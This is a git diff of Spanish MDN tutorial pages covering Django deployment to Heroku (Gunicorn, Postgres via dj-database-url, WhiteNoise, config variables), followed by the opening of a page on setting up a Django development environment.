+<p>La palabra "<code>web:</code>" le dice a Heroku que se trata de una web dyno y puede ser enviada a través del tráfico HTTP. El proceso a arrancar en este dyno es <em>gunicorn</em>, un servidor de aplicaciones web popular recomendado por Heroku. Arrancamos Gunicorn usando la información de configuración que se encuentra en el módulo <code>locallibrary.wsgi</code> (creado con nuestro esqueleto de aplicación: <strong>/locallibrary/wsgi.py</strong>).</p>
+
+<h4 id="Gunicorn">Gunicorn</h4>
+
+<p><a href="http://gunicorn.org/">Gunicorn</a> es el servidor HTTP recomendado para usar con Django en Heroku (tal como se indicaba en el Procfile anterior). Es un servidor HTTP puro-Python para aplicaciones WSGI que puede ejecutar múltiples procesos Python concurrentes dentro de un único dyno (para obtener más información, véase <a href="https://devcenter.heroku.com/articles/python-gunicorn">Deploying Python applications with Gunicorn</a>).</p>
+
+<p>Aunque no necesitaremos <em>Gunicorn</em> para servir nuestra aplicación LocalLibrary durante el desarrollo, lo instalaremos de manera que sean parte de nuestros <a href="#requirements">requerimientos</a> de Heroku para instalar en el servidor remoto.</p>
+
+<p>Instala <em>Gunicorn</em> localmente usando <em>pip</em> en la línea de comandos (que instalamos en <a href="/en-US/docs/Learn/Server-side/Django/development_environment">setting up the development environment</a>):</p>
+
+<pre class="brush: bash notranslate">pip3 install gunicorn
+</pre>
+
+<h4 id="Configuración_de_la_Base_de_Datos">Configuración de la Base de Datos</h4>
+
+<p>No podemos usar la base de datos por defecto SQLite en Heroku dado que está basada-en-fichero, y sería borrada del sistema de archivos <em>efímero</em> cada que se reiniciara la aplicación (normalmente una vez al día, y cada vez que la aplicación o sus variables de configuración fueran modificadas).</p>
+
+<p>El mecanismo de Herocu para gestionar esta situación es usar una <a href="https://elements.heroku.com/addons#data-stores">database add-on</a> y configurar la aplicación web utilizando información de una <a href="https://devcenter.heroku.com/articles/config-vars">variable de configuración</a> del entorno, establecida por la add-on. Existen numerosas opciones de bases de datos, pero nosotros utilizaremos el <a href="https://devcenter.heroku.com/articles/heroku-postgres-plans#plan-tiers">nivel hobby tier</a> de la base de datos <em>Heroku postgres</em> ya que es gratuita, soportada por Django, e incorporada en nuestra nuevas apps Heroku al usar el nivel gratuito plan dyno hobby.</p>
+
+<p>La información de conexión a la base de datos es proporcionada a la web dyno usando una variable de configuración denominada <code>DATABASE_URL</code>. En lugar de codificar esta información en Django, Heroku recomienda que los desarrolladores utilicen el paquete <a href="https://warehouse.python.org/project/dj-database-url/">dj-database-url</a> para extraer la variable de entorno <code>DATABASE_URL</code> y automáticamente convertirla al formato de configuración deseado por Django. Además para instalar el paquete <em>dj-database-url</em> necesitaremos también instalar <a href="http://initd.org/psycopg/">psycopg2</a>, ya que Django lo necesita para interactuar con la base de datos Postgres.</p>
+
+<h5 id="dj-database-url_Configuración_de_base_de_datos_de_Django_a_partir_de_una_variable_de_entorno">dj-database-url (Configuración de base de datos de  Django a partir de una variable de entorno)</h5>
+
+<p>Instala <em>dj-database-url</em> a nivel local para que se convierta en parte de nuestros <a href="#requirements">requerimientos</a> para instalar Heroku en el servidor remoto:</p>
+
+<pre class="notranslate">$ pip3 install dj-database-url
+</pre>
+
+<h5 id="settings.py">settings.py</h5>
+
+<p>Abre <strong>/locallibrary/settings.py</strong> y copia la siguiente configuración al final del archivo:</p>
+
+<pre class="notranslate"># Heroku: Update database configuration from $DATABASE_URL.
+import dj_database_url
+db_from_env = dj_database_url.config(conn_max_age=500)
+DATABASES['default'].update(db_from_env)</pre>
+
+<div class="note">
+<p><strong>Nota:</strong></p>
+
+<ul>
+ <li>Nosotros seguiremos utilizando SQLite durante el desarrollo porque la variable de entorno <code>DATABASE_URL</code> no será fijada en nuestra computadora de desarrollo.</li>
+ <li>El valor <code>conn_max_age=500</code> hace que la conexión sea persistente, lo que es más eficiente que recrear la conexión en cada ciclo de petición. No obstante, esto es opcional y puede ser eliminado si es necesario.</li>
+</ul>
+</div>
+
+<h5 id="psycopg2_soporte_a_la_base_de_datos_Python_Postgres">psycopg2 (soporte a la base de datos Python Postgres)</h5>
+
+<p>Django necesita <em>psycopg2</em> para trabajar con las bases de datos Postgres y tú necesitarás añadir esto a los <a href="#requirements">requirements.txt</a> para que Heroku lo instale en el servidor remoto (como se expone más adelante en la sección de requerimientos).</p>
+
+<p>Django utilizará la base de datos SQLite en modo local por defecto, porque la variable de entorno <code>DATABASE_URL</code> no está establecida en nuestro entorno local. Si quieres cambiar a Postgres completamente y usar nuestra base de datos del nivel gratuito de Heroku tanto en desarrollo como en producción, puedes hacerlo. Por ejemplo, para instalar psycopg2 y sus dependencias localmente en un sistema basado en Linux, usarías los siguientes comandos bash/terminal:</p>
+
+<pre class="brush: bash notranslate"><code>sudo apt-get install python-pip python-dev libpq-dev postgresql postgresql-contrib</code>
+pip3 install psycopg2
+</pre>
+
+<p>Puedes encontrar instrucciones de instalación para el resto de plataformas en <a href="http://initd.org/psycopg/docs/install.html">psycopg2 website</a>.</p>
+
+<p>No obstante, esto no es necesario — no necesitas tener activa PostGreSQL en el equipo local, en tanto que se lo indicas a Heroku como requerimiento, en <code>requirements.txt</code> (ver a continuación).</p>
+
+<h4 id="Sirviendo_ficheros_estáticos_en_producción">Sirviendo ficheros estáticos en producción</h4>
+
+<p>Durante el desarrollo utilizábamos Django y el servidor web de desarrollo de Django para servir nuestros ficheros estáticos (CSS, JavaScript, etc). En un entorno de producción normalmente se sirven los ficheros estáticos desde una red de entrega de contenidos (CDN, Content Delivery Network) o desde el servidor web.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Servir ficheros estáticos vía Django/aplicación web es ineficiente ya que las peticiones tienen que pasar por código adicional innecesario (Django), en vez de ser gestionados directamente por el servidor web o una CDN completamente independiente. Si bien esto no tiene relevancia en el uso local durante el desarrollo, el uso de este mecanismo en producción tiene un significativo impacto de rendimiento. </p>
+</div>
+
+<p>Para facilitar el alojamiento de archivos estáticos de forma separada de la aplicación web Django, Django proporciona la herramienta <em>collectstatic</em> para recoger estos archivos para el despliegue (hay una variable de configuración que define de dónde se deben recopliar los archivos cuando se ejecuta <em>collectstatic</em>). Las plantillas Django hacen referencia a la localización de almacenamiento de los archivos estáticos en relación a una variable de configuración (<code>STATIC_URL</code>), por tanto, esto puede modificarse se los archivos estáticos son movidos a otro host/servidor.</p>
+
+<p>Las variables de configuración más relevantes son:</p>
+
+<ul>
+ <li><code>STATIC_URL</code>:  Es la localización URL base desde la cual se servirán los archivos estáticos, por ejemplo en una CDN. Se usa para variables de plantilla estáticas a las que se acceden en nuestra plantilla base (ver <a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a>).</li>
+ <li><code>STATIC_ROOT</code>: Es la ruta absoluta a un directorio en el que la herramienta "collectstatic" de Django reunirá todos los archivos estáticos referenciados en nuestras plantillas. Una vez recopilados, podrán ser cargados como un grupo a donde hayan de ser alojados.</li>
+ <li><code>STATICFILES_DIRS</code>: Relaciona directorios adicionales en los que la herramienta collestatic de Django debería buscar archivos estáticos.</li>
+</ul>
+
+<h5 id="settings.py_2">settings.py</h5>
+
+<p>Abra <strong>/locallibrary/settings.py</strong> y copie la configuración siguiente al final del archivo. La variable <code>BASE_DIR</code> debería haber sido ya definida en tu fichero (la variable <code>STATIC_URL</code> puede haber sido ya definida dentro del archivo cuando fue creado. Puesto que no provocará ningún fallo, podrías borrar la referencias duplicadas).</p>
+
+<pre class="notranslate"># Static files (CSS, JavaScript, Images)
+# https://docs.djangoproject.com/en/1.10/howto/static-files/
+
+# The absolute path to the directory where collectstatic will collect static files for deployment.
+STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
+
+# The URL to use when referring to static files (where they will be served from)
+STATIC_URL = '/static/'
+</pre>
+
+<p>Nosotros haremos el servicio de ficheros utilizando una librería denominada <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a>, que instalaremos y configuraremos en la siguiente sección.</p>
+
+<p>Para más información, vea <a href="https://devcenter.heroku.com/articles/django-assets">Django and Static Assets</a> (Heroku docs).</p>
+
+<h4 id="Whitenoise">Whitenoise</h4>
+
+<p>Hay muchas formas de servir ficheros estáticos en producción (ya vimos los ajustes Django relevantes en las secciones previas). Heroku recomienda usar el proyecto <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a> para servir objetos estáticos directamente desde Gunicorn en producción.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Heroku llama automáticamente a <em>collectstatic</em> y prepara tus ficheros estáticos para ser usados por WhiteNoise después de que se cargue tu aplicación. Revisa la documentación <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a>, en la que se explica cómo funciona y por qué la implementación es un método para servir estos ficheros relativamente eficiente.</p>
+</div>
+
+<p>Los pasos para instalar <em>WhiteNoise</em> para usarlo dentro del proyecto son:</p>
+
+<h5 id="WhiteNoise">WhiteNoise</h5>
+
+<p>Instala WhiteNoise localmente usando el siguiente comando:</p>
+
+<pre class="notranslate">$ pip3 install whitenoise
+</pre>
+
+<h5 id="settings.py_3">settings.py</h5>
+
+<p>Para instalar <em>WhiteNoise</em> en tu aplicación Django, abre <strong>/locallibrary/settings.py</strong>, busca la opción <code>MIDDLEWARE</code> y añade <code>WhiteNoiseMiddleware</code> cerca de la parte superior de la lista, justo debajo de <code>SecurityMiddleware</code>:</p>
+
+<pre class="notranslate">MIDDLEWARE = [
+    'django.middleware.security.SecurityMiddleware',
+    <strong>'whitenoise.middleware.WhiteNoiseMiddleware',</strong>
+    'django.contrib.sessions.middleware.SessionMiddleware',
+    'django.middleware.common.CommonMiddleware',
+    'django.middleware.csrf.CsrfViewMiddleware',
+    'django.contrib.auth.middleware.AuthenticationMiddleware',
+    'django.contrib.messages.middleware.MessageMiddleware',
+    'django.middleware.clickjacking.XFrameOptionsMiddleware',
+]
+</pre>
+
+<p>Opcionalmente, puedes reducir el tamaño de los ficheros estáticos al ser servidos (lo que lo hace más eficiente). Añade lo siguiente al final de <strong>/locallibrary/settings.py</strong>:</p>
+
+<pre class="notranslate"># Simplified static file serving.
+# https://warehouse.python.org/project/whitenoise/
+STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage'
+</pre>
+
+<h4 id="Requerimientos">Requerimientos</h4>
+
+<p>Los requerimientos Python de tu aplicación web deben ser almacenados en un archivo <strong>requirements.txt</strong> en la carpeta raíz de tu repositorio. Heroku los instalará cuando reconstruya tu entorno. Puedes crear este archivo utilizando <em>pip</em> en la línea de comandos (ejecuta los siguiente en la raíz del repositorio):</p>
+
+<pre class="brush: bash notranslate">pip3 freeze &gt; requirements.txt</pre>
+
+<p>Después de instalar todas las dependencias anteriores, tu archivo <strong>requirements.txt</strong> debería tener <em>al menos</em> estos objetos (aunque los números de versión pueden ser diferentes). Por favor, borra cualquier otra dependencia no listada abajo, a menos que la hayas añadido explícitamente para esta aplicación.</p>
+
+<pre class="notranslate">dj-database-url==0.4.1
+Django==1.10.2
+gunicorn==19.6.0
+<strong>psycopg2==2.6.2</strong>
+whitenoise==3.2.2
+</pre>
+
+<div class="note">
+<p>Asegúrate de que existe una línea <strong>psycopg2</strong> como la que se ve arriba! Incluso aunque no lo hayas instalado localmente, deberías añadirla a <strong>requirements.txt</strong>.</p>
+</div>
+
+<h4 id="Runtime">Runtime</h4>
+
+<p>El archivo <strong>runtime.txt</strong>, si ha sido definido, le dice a Heroku que lenguaje de programación usar. Crea el archivo en el raíz del repositorio y añade el siguiente texto:</p>
+
+<pre class="notranslate">python-3.5.2</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Heroku sólo soporta un número pequeño de <a href="https://devcenter.heroku.com/articles/python-support#supported-python-runtimes">Python runtimes</a>. Tú puedes especificar valores de runtime de Python 3, pero en el momento de esta redacción la versión anterior será soportada como definida.</p>
+</div>
+
+<h4 id="Guardar_los_cambios_en_Github_y_volver_a_probar.">Guardar los cambios en Github y volver a probar.</h4>
+
+<p>A continuacion, guardemos nuestros cambios en Github. En el terminal (dentro de nuestro respositorio), introduce los comandos siguientes:</p>
+
+<pre class="brush: python notranslate">git add -A
+git commit -m "Added files and changes required for deployment to heroku"
+git push origin master</pre>
+
+<p>Antes de continuar, probemos de nuevo nuestro sitio localmente y asegurémonos de que no ha sido afectado por ninguno de los cambios anteriores. Pon en marcha el servidor web de desarrollo de la forma habitual y comprueba que el sitio aún funciona como esperas en tu navegador.</p>
+
+<pre class="brush: bash notranslate">python3 manage.py runserver</pre>
+
+<p>Ya deberíamos estar preparados para empezar a desplegar LocalLibrary en Heroku.</p>
+
+<h3 id="Hazte_con_una_cuenta_Heroku">Hazte con una cuenta Heroku</h3>
+
+<p>Para empezar a usar Heroku necesitarás en primer lugar crear una cuenta:</p>
+
+<ul>
+ <li>Ve a <a href="https://www.heroku.com/">www.heroku.com</a> y haz click en el botón <strong>SIGN UP FOR FREE</strong>.</li>
+ <li>Introduce tus datos y pulsa a continuación <strong>CREATE FREE ACCOUNT</strong>. Se te pedirá que compruebes que has recibido un email de registro.</li>
+ <li>Haz click en el enlace de activación de la cuenta que aparece en el email de registro. Serás llevado de vuelta a tu cuenta en el navegador web.</li>
+ <li>Introduce tu contraseña y haz click en <strong>SET PASSWORD AND LOGIN</strong>.</li>
+ <li>Ya estarás contectado y serás llevado al tablón de Heroku (Heroku dashboard): <a href="https://dashboard.heroku.com/apps">https://dashboard.heroku.com/apps</a>.</li>
+</ul>
+
+<h3 id="Instala_el_cliente">Instala el cliente</h3>
+
+<p>Descarga e instala el cliente Heroku siguiendo estas <a href="https://devcenter.heroku.com/articles/getting-started-with-python#set-up">instructiones para Heroku</a>.</p>
+
+<p>Una vez instalado el cliente, ya podrás ejecutar comandos. Por ejemplo, para mostrar ayuda en el cliente:</p>
+
+<pre class="brush: bash notranslate">heroku help
+</pre>
+
+<h3 id="Crea_y_sube_el_sitio_web">Crea y sube el sitio web</h3>
+
+<p>Para crear la app ejecutamos el comando "create" en el directorio raíz de nuestro repositorio. Esta operación crea un git remoto ("puntero hacia el repositorio remoto") denominado <em>heroku</em> en nuestro entorno git local.</p>
+
+<pre class="brush: bash notranslate">heroku create</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Puedes nombrar el remoto, si lo deseas, especificando un valor después de "create". Si no, obtendrás un nombre aleatorio. Este nombre es el que se utiliza en la URL por defecto.</p>
+</div>
+
+<p>Podemos a continuación "empujar" (push) nuestra aplicación hacia el respositorio Heroku como se muestra abajo. Este proceso subirá la aplicación, la empaquetará en un dyno, ejecutará collestatic, y arrancará el sitio.</p>
+
+<pre class="brush: bash notranslate">git push heroku master</pre>
+
+<p>Si tenemos suerte, la app ya estará "corriendo" en el sitio, pero no estará funcionando correctamente ya que no hemos colocado las tablas que usa nuestra aplicación. Para hacer esto necesitamos utilizar el comando <code>heroku run</code> y arrancar un "<a href="https://devcenter.heroku.com/articles/deploying-python#one-off-dynos">one off dyno</a>" para realizar una operación de migración. Introduce el siguiente comando en el terminal:</p>
+
+<pre class="brush: bash notranslate">heroku run python manage.py migrate</pre>
+
+<p>Vamos a necesitar también poder añadir libros y autores, así que vamos a crear nuestro superusuario de administración, de nuevo utilizando un "one-off dyno":</p>
+
+<pre class="brush: bash notranslate">heroku run python manage.py createsuperuser</pre>
+
+<p>Una vez llevado a cabo ésto, podremos ver el sitio. Debería funcionar, aunque no tendrá aún ningún libro. Para abrir el navegador hacia el nuevo sitio web, usa el comando:</p>
+
+<pre class="brush: bash notranslate">heroku open</pre>
+
+<p>Crea algunos libros en el sitio de administración, y comprueba que el sitio se comporta tal y como esperas.</p>
+
+<h3 id="Gestionando_addons">Gestionando addons</h3>
+
+<p>Puedes revisar los add-ons de tu app usando el comando <code>heroku addons</code>. Se listarán todos los addons, su nivel de precio y estado.</p>
+
+<pre class="brush: bash notranslate">&gt;heroku addons
+
+Add-on                                     Plan       Price  State
+─────────────────────────────────────────  ─────────  ─────  ───────
+heroku-postgresql (postgresql-flat-26536)  hobby-dev  free   created
+ └─ as DATABASE</pre>
+
+<p>Aquí vemos que tenemos un único add-on, la base de datos postgres SQL. Es gratuito, y fue creado automáticamente cuando se creó la aplicación. Puedes abrir una página web en la que examinar con más detalle el add-on de la base de datos (o cualquier otro add-on) utilizando el siguiente comando:</p>
+
+<pre class="brush: bash notranslate">heroku addons:open heroku-postgresql
+</pre>
+
+<p>Otros comandos te permiten crear, destruir, subir o bajar de versión de los addons (con una sintaxis similar a la de abrir). Para más información, consulta <a href="https://devcenter.heroku.com/articles/managing-add-ons">Managing Add-ons</a> (Heroku docs).</p>
+
+<h3 id="Estableciendo_las_variables_de_configuración">Estableciendo las variables de configuración</h3>
+
+<p>Puedes revisar las variables de configuración para el sitio con el comando <code>heroku config</code>. Abajo puedes comprobar que solo tenemos una variable, <code>DATABASE_URL</code>, usada para configurar nuestra base de datos.</p>
+
+<pre class="brush: bash notranslate">&gt;heroku config
+
+=== locallibrary Config Vars
+DATABASE_URL: postgres://uzfnbcyxidzgrl:j2jkUFDF6OGGqxkgg7Hk3ilbZI@ec2-54-243-201-144.compute-1.amazonaws.com:5432/dbftm4qgh3kda3</pre>
+
+<p>Si recuerdas de la sección <a href="#Getting_your_website_ready_to_publish">Preparando tu sitio web para hacerlo público</a>, tenemos que establecer variables de entorno para <code>DJANGO_SECRET_KEY</code> y <code>DJANGO_DEBUG</code>. Vamos a hacerlo ahora.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> La clave secreta tiene que ser verdaderamente secreta! Una forma de generar una nueva clave es crear un nuevo proyecto Django (<code>django-admin startproject nombredeproyecto</code>) y obtener la clave generada para tí de su archivo <strong>settings.py</strong>.</p>
+</div>
+
+<p>Establecemos el valor de la variable <code>DJANGO_SECRET_KEY</code> con el comando <code>config:set</code> (como se muestra abajo). Recuerda usar tu propia clave secreta!</p>
+
+<pre class="brush: bash notranslate">&gt;heroku config:set DJANGO_SECRET_KEY=eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh&amp;=
+
+Setting DJANGO_SECRET_KEY and restarting locallibrary... done, v7
+DJANGO_SECRET_KEY: eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh
+</pre>
+
+<p>De forma similar, establecemos <code>DJANGO_DEBUG</code>:</p>
+
+<pre class="brush: bash notranslate">&gt;heroku config:set <code>DJANGO_DEBUG=''
+
+Setting DJANGO_DEBUG and restarting locallibrary... done, v8</code></pre>
+
+<p>Si visitas ahora el sitio recibirás un error "Bad request", porque es <em>obligatorio</em> establecer <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#allowed-hosts">ALLOWED_HOSTS</a> si tienes establecido <code>DEBUG=False</code> (como medida de seguridad). Abre <strong>/locallibrary/settings.py</strong> y cambia el valor de <code>ALLOWED_HOSTS</code> para incluir la url base de tu app (por ejemplo, 'locallibrary1234.herokuapp.com') y la URL que usas normalmente en tu servidor de desarrollo local.</p>
+
+<pre class="brush: python notranslate">ALLOWED_HOSTS = ['&lt;your app URL without the https:// prefix&gt;.herokuapp.com','127.0.0.1']
+# For example:
+# ALLOWED_HOSTS = ['fathomless-scrubland-30645.herokuapp.com','127.0.0.1']
+</pre>
+
+<p>A continuación guarda los cambios y consolídalos en tu repo Github y en Heroku.</p>
+
+<pre class="brush: bash notranslate">git add -A
+git commit -m 'Update ALLOWED_HOSTS with site and development server URL'
+git push origin master
+git push heroku master</pre>
+
+<div class="note">
+<p>Una vez completada la actualización del sitio en Heroku, introduce una URL que no exista (por ejemplo, <strong>/catalog/doesnotexist/</strong>). Antes se habría mostrado una página de depuración detallada, pero ahora deberías simplemente ver una página de "Not Found".</p>
+</div>
+
+<h3 id="Depuración">Depuración</h3>
+
+<p>El cliente Heroku proporciona algunas herramientas para la depuración:</p>
+
+<pre class="brush: bash notranslate">heroku logs  # Show current logs
+heroku logs --tail # Show current logs and keep updating with any new results
+heroku config:set DEBUG_COLLECTSTATIC=1 # Add additional logging for collectstatic (this tool is run automatically during a build)
+heroku ps   #Display dyno status
+</pre>
+
+<p>Si necesitas más información de la que te proporcionan estas herramientas, tendrás que investigar en <a href="https://docs.djangoproject.com/en/1.10/topics/logging/">Django Logging</a>.</p>
+
+<ul>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Has llegado al final de este tutorial sobre la instalación de apps Django en producción, así como de la serie de tutoriales sobre el trabajo con Django. Esperamos que los hayas encontrado útiles. Puedes encontrar una versión completa del <a href="https://github.com/mdn/django-locallibrary-tutorial">código fuente en Github aquí</a>.<br>
+ <br>
+ El siguiente paso sería leer nuestros últimos artículos, y finalmente completar la evaluación.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/">Deploying Django</a> (Django docs)
+
+  <ul>
+   <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/">Deployment checklist</a> (Django docs)</li>
+   <li><a href="https://docs.djangoproject.com/en/1.10/howto/static-files/deployment/">Deploying static files</a> (Django docs)</li>
+   <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/">How to deploy with WSGI</a> (Django docs)</li>
+   <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/modwsgi/">How to use Django with Apache and mod_wsgi</a> (Django docs)</li>
+   <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/gunicorn/">How to use Django with Gunicorn</a> (Django docs)</li>
+  </ul>
+ </li>
+ <li>Heroku
+  <ul>
+   <li><a href="https://devcenter.heroku.com/articles/django-app-configuration">Configuring Django apps for Heroku</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">Getting Started on Heroku with Django</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/django-assets">Django and Static Assets</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/python-concurrency-and-database-connections">Concurrency and Database Connections in Django</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/how-heroku-works">How Heroku works</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/dynos">Dynos and the Dyno Manager</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/config-vars">Configuration and Config Vars</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/limits">Limits</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/python-gunicorn">Deploying Python applications with Gunicorn</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/articles/deploying-python">Deploying Python and Django apps on Heroku</a> (Heroku docs)</li>
+   <li><a href="https://devcenter.heroku.com/search?q=django">Other Heroku Django docs</a></li>
+  </ul>
+ </li>
+ <li>Digital Ocean
+  <ul>
+   <li><a href="https://www.digitalocean.com/community/tutorials/how-to-serve-django-applications-with-uwsgi-and-nginx-on-ubuntu-16-04">How To Serve Django Applications with uWSGI and Nginx on Ubuntu 16.04</a></li>
+   <li><a href="https://www.digitalocean.com/community/tutorials?q=django">Other Digital Ocean Django community docs</a></li>
+  </ul>
+ </li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/es/learn/server-side/django/development_environment/index.html b/files/es/learn/server-side/django/development_environment/index.html
new file mode 100644
index 0000000000..cf47cdefa9
--- /dev/null
+++ b/files/es/learn/server-side/django/development_environment/index.html
@@ -0,0 +1,421 @@
+---
+title: Puesta en marcha de un entorno de desarrollo Django
+slug: Learn/Server-side/Django/development_environment
+tags:
+  - Aprendizaje
+  - Codificación de scripts
+  - Entorno de Desarrollo
+  - Principiante
+  - Python
+  - django
+  - instalación
+  - introducción
+translation_of: Learn/Server-side/Django/development_environment
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Ahora que sabes para qué se utiliza Django, te enseñaremos cómo configurar y probar un entorno de desarrollo Django en Windows, Linux (Ubuntu), y Mac OS X — cualquiera que sea el sistema operativo común que estés utilizando, este artículo te dará lo que necesitas para ser capaz de empezar a desarrollar aplicaciones Django.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td>
+    <p>Saber como abrir un terminal / linea de comandos. Saber como instalar paquetes de software en el sistema operativo de tu computadora de desarrollo.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Tener funcionando un entorno de desarrollo Django (1.10) en tu computadora.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Visión_general_del_entorno_de_desarrollo_Django">Visión general del entorno de desarrollo Django</h2>
+
+<p>Django hace muy fácil configurar tu computadora de manera que puedas empezar a desarrollar aplicaciones web. Esta sección explica qué consigues con el entorno de desarrollo y proporciona una visión general de algunas de tus opciones de puesta en marcha y configuración. El resto del artículo explica el método <em>recomendado</em> de instalación del entorno de desarrollo de Django en Ubuntu, Mac OS X, y Windows, y cómo puedes probarlo.</p>
+
+<h3 id="¿Qué_es_el_entorno_de_desarrollo_Django">¿Qué es el entorno de desarrollo Django?</h3>
+
+<p>El entorno de desarrollo es una instalación de Django en tu computadora local que puedes usar para desarrollar y probar apps Django antes de desplegarlas al entorno de producción.</p>
+
+<p>Las principales herramientas que el mismo Django proporciona son un conjunto de scripts de Python para crear y trabajar con proyectos Django, junto con un simple <em>servidor web de desarrollo</em> que puedes usar para probar de forma local (es decir en tu computadora, no en un servidor web externo) aplicaciones web Django con el explorador web de tu computadora.</p>
+
+<p>Hay otras herramientas periféricas, que forman parte del entorno de desarrollo, que no cubriremos aquí. Estas incluyen cosas como un <a href="/en-US/docs/Learn/Common_questions/Available_text_editors">editor de textos</a> o IDE para editar código, una herramienta de gestión del control de fuentes como <a href="https://git-scm.com/">Git</a> para gestionar con seguridad las diferentes versiones de tu código. Asumimos que tienes ya un editor de textos instalado.</p>
+
+<h3 id="¿Cuáles_son_las_opciones_de_puesta_en_marcha_de_Django">¿Cuáles son las opciones de puesta en marcha de Django?</h3>
+
+<p>Django es extremadamente flexible en términos de cómo y dónde puede instalarse y configurarse. Django puede ser:</p>
+
+<ul>
+ <li>instalado en diferentes sistemas operativos.</li>
+ <li>ser usado con Python 3 y Python 2.</li>
+ <li>instalado desde las fuentes, desde el Python Package Index (PyPi) y en muchos casos desde la aplicación de gestión de paquetes de la computadora.</li>
+ <li>configurado para usar una de entre varias bases de datos, que pueden también necesitar ser instaladas y configuradas por separado.</li>
+ <li>ejecutarse en el entorno Python del sistema principal o dentro de entornos virtuales Python separados.</li>
+</ul>
+
+<p>Cada una de estas opciones requieren configuraciones y puesta en marcha ligeramente diferentes. Las siguientes subsecciones explican algunas de tus opciones. En el resto del artículo te mostraremos como ajustar Django en un pequeño número de sistemas operativos, y se supondrá ese ajuste a lo largo del resto del módulo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La documentación oficial de Django cubre otras posibles opciones de instalación. Enlazamos a los <a href="#furtherreading">documentos apropiados más abajo</a>.</p>
+</div>
+
+<h4 id="¿Qué_sistemas_operativos_están_soportados">¿Qué sistemas operativos están soportados?</h4>
+
+<p>Las aplicaciones web Django pueden ejecutarse en casi cualquier máquina donde pueda funcionar el lenguaje de programación Python: Windows, Mac OS X, Linux/Unix, Solaris, por nombrar sólo unos pocos. Casi cualquier computadora debería tener el rendimiento necesario para ejecutar Django durante el desarrollo.</p>
+
+<p>En este artículo proporcionamos instrucciones para Windows, Mac OS X, y Linux/Unix.</p>
+
+<h4 id="¿Qué_versión_de_Python_deberías_usar">¿Qué versión de Python deberías usar?</h4>
+
